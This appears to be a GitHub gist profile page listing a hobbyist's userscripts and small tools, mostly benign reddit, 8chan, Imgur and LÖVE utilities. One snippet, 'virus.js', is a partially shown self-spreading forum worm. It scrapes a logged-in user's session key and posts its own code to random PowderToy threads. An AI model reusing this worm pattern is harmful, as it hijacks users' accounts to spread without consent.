Skip to content

Instantly share code, notes, and snippets.

View nucular's full-sized avatar

nucular nucular

View GitHub Profile
@nucular
nucular / redditstyles.user.js
Last active January 28, 2018 04:24
reddit themes for the common folk: use the stylesheet of a subreddit everywhere
// ==UserScript==
// @name reddit styles
// @namespace http://nucular.github.io
// @version 0.6.1
// @description reddit themes for the common folk
// @copyright 2015, nucular
// @license MIT License
// @include http://www.reddit.com/*
// @include https://www.reddit.com/*
// @run-at document-start
@nucular
nucular / cleanreload.js
Created March 27, 2015 19:28
Clean Reload Bookmarklet
// This nify little bookmarklet clears the cookies, localStorage and the cache before reloading the current page.
// Make a bookmark and paste this line as the URL (note the javascript: replacing the http://)
// Cookie clearing oneliner from http://stackoverflow.com/a/27374365/2405983
javascript:(function(){ document.cookie.split(";").forEach(function(c) document.cookie=c.replace(/^ +/,"").replace(/=.*/,"=;expires="+new Date().toUTCString()+";path=/");}); for(i in window.localStorage){if (window.localStorage.hasOwnProperty(i)){delete window.localStorage[i];}} window.location.reload(true)})()
@nucular
nucular / tubealien.user.js
Created March 18, 2015 17:12
TubeAlien - Replaces Reddit comments on videos with YouTube comments!
// ==UserScript==
// @name TubeAlien for Reddit
// @namespace http://nucular.github.io
// @version 0.1
// @description TubeAlien is an userscript that replaces Reddit comments on videos with YouTube comments!
// @include /https?\:\/\/(www\.)?reddit.com\/r\/[^\/]+\/comments\/\w+\/\w+/
// @copyright 2015+, nucular
// ==/UserScript==
$(function() {
@nucular
nucular / forcecatalog.user.js
Created March 7, 2015 18:21
8chan: Foce Catalog on board index
// ==UserScript==
// @name 8chan Force Catalog
// @namespace http://nucular.github.io
// @version 0.1
// @description Redirects to the catalog on 8chan boards
// @include /^https?:\/\/8ch\.net\/\w+\/?$/
// @copyright 2015+, nucular
// @run-at document-start
// ==/UserScript==
@nucular
nucular / lads.lua
Last active August 29, 2015 14:16
LÖVE-Android on Desktop Shim for debugging/testing android games on a desktop environment
--[[
LÖVE-Android on Desktop Shim
============================
for debugging/testing android games on a desktop environment
Features
--------
- Two touchscreen behaviours ("single" and "multi")
- Touchpoint overlay (disables love.mouse.setVisible for convenience)
- Keyboard wrapper, keybinds for menu/back/return/search/textinput
// ==UserScript==
// @name Powder Toy Undelete Removed Comments
// @version 1.0.1
// @description Undeletes comments that have been removed, using a weird data leak.
// @author boxmein
// @namespace http://boxmein.net
// @run-at document-end
// @match http://powdertoy.co.uk/Discussions/Thread/*
// ==/UserScript==
@nucular
nucular / virus.js
Last active August 29, 2015 14:13
Self-spreading virus for the PowderToy forums (while the exploit wasn't fixed yet)
// Public Domain, whatever
(function kek(){$.getJSON("http://powdertoy.co.uk/Discussions/Categories/Index.json", function(data) {
var thread = data.Topics[Math.floor(Math.random() * data.Topics.length)].ID;
var code = kek.toString();
var key = $(".main-menu .dropdown a[href^=\"/Logout.html\"]").attr("href");
if (key) {
key = key.substring(key.length - 10);
var link = "http://powdertoy.co.uk/Discussions/Thread/Reply.json?Mode=HTML&Key=" + key;
var data = {
#!/bin/env python3
# python3 chanrip.py --help
"""
Chanrip
=======
Rips a thread from 4chan or 8chan, downloading all posted files and saving all
replies to a HTML file. Optionally supports monitoring changes while downloading
new replies automatically and thumbnail downloading.

Keybase proof

I hereby claim:

  • I am nucular on github.
  • I am nucular (https://keybase.io/nucular) on keybase.
  • I have a public key whose fingerprint is 4051 CE6C 01CD 6C7A 8670 75AF 6865 2DB2 EBE0 33EF

To claim this, I am signing this object:

@nucular
nucular / imgrou.py
Last active August 29, 2015 14:07
Imgur Roulette using not ID fuzzing but Reddits random feature
# Public Domain
# python3 imgrou.py
# some configuration
IMG_ROWS = 3
IMG_COLS = 3
CHUNK_SIZE = 512
REQUEST_URL = "http://reddit.com/domain/i.imgur.com/random/.json"
SESSION_KEY = "" # look at your request headers on reddit, Cookie "reddit_session"